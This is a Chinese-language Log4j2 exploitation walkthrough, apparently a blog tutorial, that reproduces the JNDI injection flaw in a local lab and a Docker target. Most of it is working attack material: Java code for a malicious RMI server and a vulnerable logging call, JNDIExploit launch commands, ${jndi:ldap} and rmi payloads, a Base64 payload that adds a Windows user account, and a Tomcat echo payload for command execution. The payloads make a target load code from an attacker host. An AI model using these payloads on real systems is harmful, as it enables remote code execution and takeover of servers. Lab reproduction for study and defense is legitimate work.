Log4j漏洞全方位解析
Log4j 漏洞复现利用
Apache Log4j 2.x <= 2.14.1
2.0 <= Apache log4j2 <= 2.14.1
漏洞成因
1.Log4j2漏洞其实是JNDI注入漏洞,在执行
log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");的时候触发
2.当程序将用户输入的数据进行日志记录时,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,比如${jndi:ldap://127.0.0.1/exp}并且执行即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
漏洞代码(复现1)
Main.java log4j漏洞文件
package com.client;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Main {
private static final Logger log = LogManager.getLogger(Main.class);
public static void main(String[] args) {
//默认为false,禁止RMI和CORBA协议使用远程
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// 执行该日志注入
//JndiExploit利用连接 执行命令net user hackxxx xxxx /add
//log.error("${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}");
// 执行自己写的exp
log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");
Server.java 作用开启RMI服务
package com.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args)throws Exception{
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//创建rmi映射表
Registry registrys= LocateRegistry.createRegistry(1097);
//加载的class中需要实例化类的名称
//classFactory - 加载的class中需要实例化类的名称
//3. classFactoryLocation - 提供远程或者本地 classes数据的地址可以是file/ftp/http等协议
Reference reference = new Reference("exp", "exp", "http://127.0.0.1:8080/");
ReferenceWrapper wrappers = new ReferenceWrapper(reference);
registrys.bind("exp", wrappers);
自写代码复现
1.启动HTTP服务(JSPstudy端口8080) 启动RMI服务(执行Server.java)
2.编译EXP javac c:\exp.java 参考JND部分, 把编译好的exp.class放在JSPstudy的web目录,然后RMI服务调用
Reference reference = new Reference("exp", "exp", "http://127.0.0.1:8080/")
exp就是自己编写好的利用代码 把文件名对应写好就可以了 http://127.0.0.1:8080/ web路径
3.简单测试
弹clac ${jndi:rmi://127.0.0.1:1097/exp}
dnslog ${jndi:ldap://u0mhtu.dnslog.cn}
4.高级测试执行系统命令,使用JNDIExploit
启动JndiExploit (开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多 claass不用自己在编译如弹计算器,命令执行,dnslog,bypass等。执行如下代码
java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -i 192.168.177.167 -p 8089
jar -i 192.168.177.167 -p 8089 //本机ip -p 指定http协议的端口
java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -u
-u //查看示例链接 这次演示/Basic/Command/Base64/ 需要对要执行的命令进行base64加密
${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}
靶场环境复现
1.启动JndiExploit
(开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多claass不用自己在编译如 弹计算器,命令执行,dnslog,bypass等。执行如下代码
java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -i 192.168.177.167 -p 8089
jar -i 192.168.177.167 -p 8089 //本机ip -p 指定http协议的端口
-u //查看示例链接
2.开启docker靶场
service docker start //开启docker
docker pull registry.cn-zhangjiakou.aliyuncs.com/rcs-team/vulnerability:log4j2-rce-2021-12-02 //拉镜像
docker images //查看镜像
docker ps -a
docker run -itd -p 8990:8990 be0c61922043 //启动镜像
docker ps
ip a
docker exec -it 46067b6d4325 /bin/bash //进入以启动镜像的终端shell
3.访问靶场抓包
http://192.168.177.172:8080/hello
dnslog ${jndi:ldap://u0mhtu.dnslog.cn}
命令执行 payload=${jndi:ldap://192.168.177.167:1389/TomcatBypass/TomcatEcho}
cmd:ls
演示视频
0 / 0
继续观看
Log4j漏洞全方位解析
Log4j漏洞详细复现
链接:https://pan.baidu.com/s/1vcwkt__Iar01tSyoZ17z4g
提取码:1234
Java学习群请加:feigegehacker